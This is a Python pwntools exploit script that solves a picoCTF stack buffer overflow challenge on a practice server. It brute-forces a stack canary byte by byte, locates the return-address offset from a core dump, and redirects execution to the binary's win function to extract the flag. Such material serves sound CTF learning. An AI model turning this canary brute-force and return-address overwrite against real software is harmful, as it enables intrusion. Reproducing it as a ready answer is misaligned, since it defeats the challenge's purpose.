script.py

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template --host saturn.picoctf.net --port 57032 vuln
from pwn import *
from tqdm import tqdm

# Set up pwntools for the correct architecture
exe = context.binary = ELF('vuln')

# Many built-in settings can be controlled on the command-line and show up
# in "args".  For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141
host = args.HOST or 'saturn.picoctf.net'
port = int(args.PORT or 57032)

def start_local(argv=[], *a, **kw):
    '''Execute the target binary locally'''
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)

def start_remote(argv=[], *a, **kw):
    '''Connect to the process on the remote host'''
    io = connect(host, port)
    if args.GDB:
        gdb.attach(io, gdbscript=gdbscript)
    return io

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.LOCAL:
        return start_local(argv, *a, **kw)
    else:
        return start_remote(argv, *a, **kw)

# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
tbreak main
continue
'''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================
# Arch:     i386-32-little
# RELRO:    Partial RELRO
# Stack:    No canary found
# NX:       NX enabled
# PIE:      No PIE (0x8048000)

# Code based on https://github.com/Dvd848/CTFs/blob/master/2019_picoCTF/CanaRy.md
BUF_SIZE = 64
FLAG_SIZE = 64
CANARY_SIZE = 4

FILLER_LEN = BUF_SIZE + CANARY_SIZE

def brute_force_canary():
    canary = b""
    for i in range(CANARY_SIZE):
        progress = tqdm(string.ascii_letters + string.digits, desc="Bruteforcing character %i" % (i + 1))
        for c in progress:
            c = str.encode(c)
            with context.local(log_level='ERROR'):
                try:
                    io = start()
                    io.sendlineafter(b"How Many Bytes will You Write Into the Buffer?\n> ", str.encode(str(BUF_SIZE + len(canary) + 1)))
                    io.sendlineafter(b"Input> ", fit({BUF_SIZE: canary + c}))
                    response = io.recvline()
                    if b"Stack Smashing Detected" in response:
                        continue
                    canary += c
                    progress.write("Found character %i of canary: %s" % (i, c))
                    break
                finally:
                    io.close()
        else:
            raise Exception("Can't find canary")
    return canary

def send_payload(proc, payload, canary):
    assert(len(canary) == CANARY_SIZE)
    proc.sendlineafter(b"How Many Bytes will You Write Into the Buffer?\n> ", str(FILLER_LEN + len(payload)))
    proc.sendafter(b"Input> ", (b'A' * BUF_SIZE) + (canary) + payload)

def get_overflow_offset(canary):
    proc = process(exe.path)
    payload = cyclic(100, n=exe.bytes)
    send_payload(proc, payload, canary)
    proc.wait()
    offset = cyclic_find(proc.corefile.fault_addr, n=exe.bytes)
    log.info("Overflow offset: %i", offset)
    return offset

canary = brute_force_canary()
log.info("Canary: {}".format(canary))

overflow_offset = get_overflow_offset(canary)

payload = fit({overflow_offset: p32(exe.symbols["win"])})
log.info("Sending payload: \n{}".format(hexdump(payload)))

io = start()
send_payload(io, payload, canary)
output = io.recvuntil(b"}")

flag = re.search("picoCTF{.*?}", output.decode("ascii")).group()
log.success("Flag %s", flag)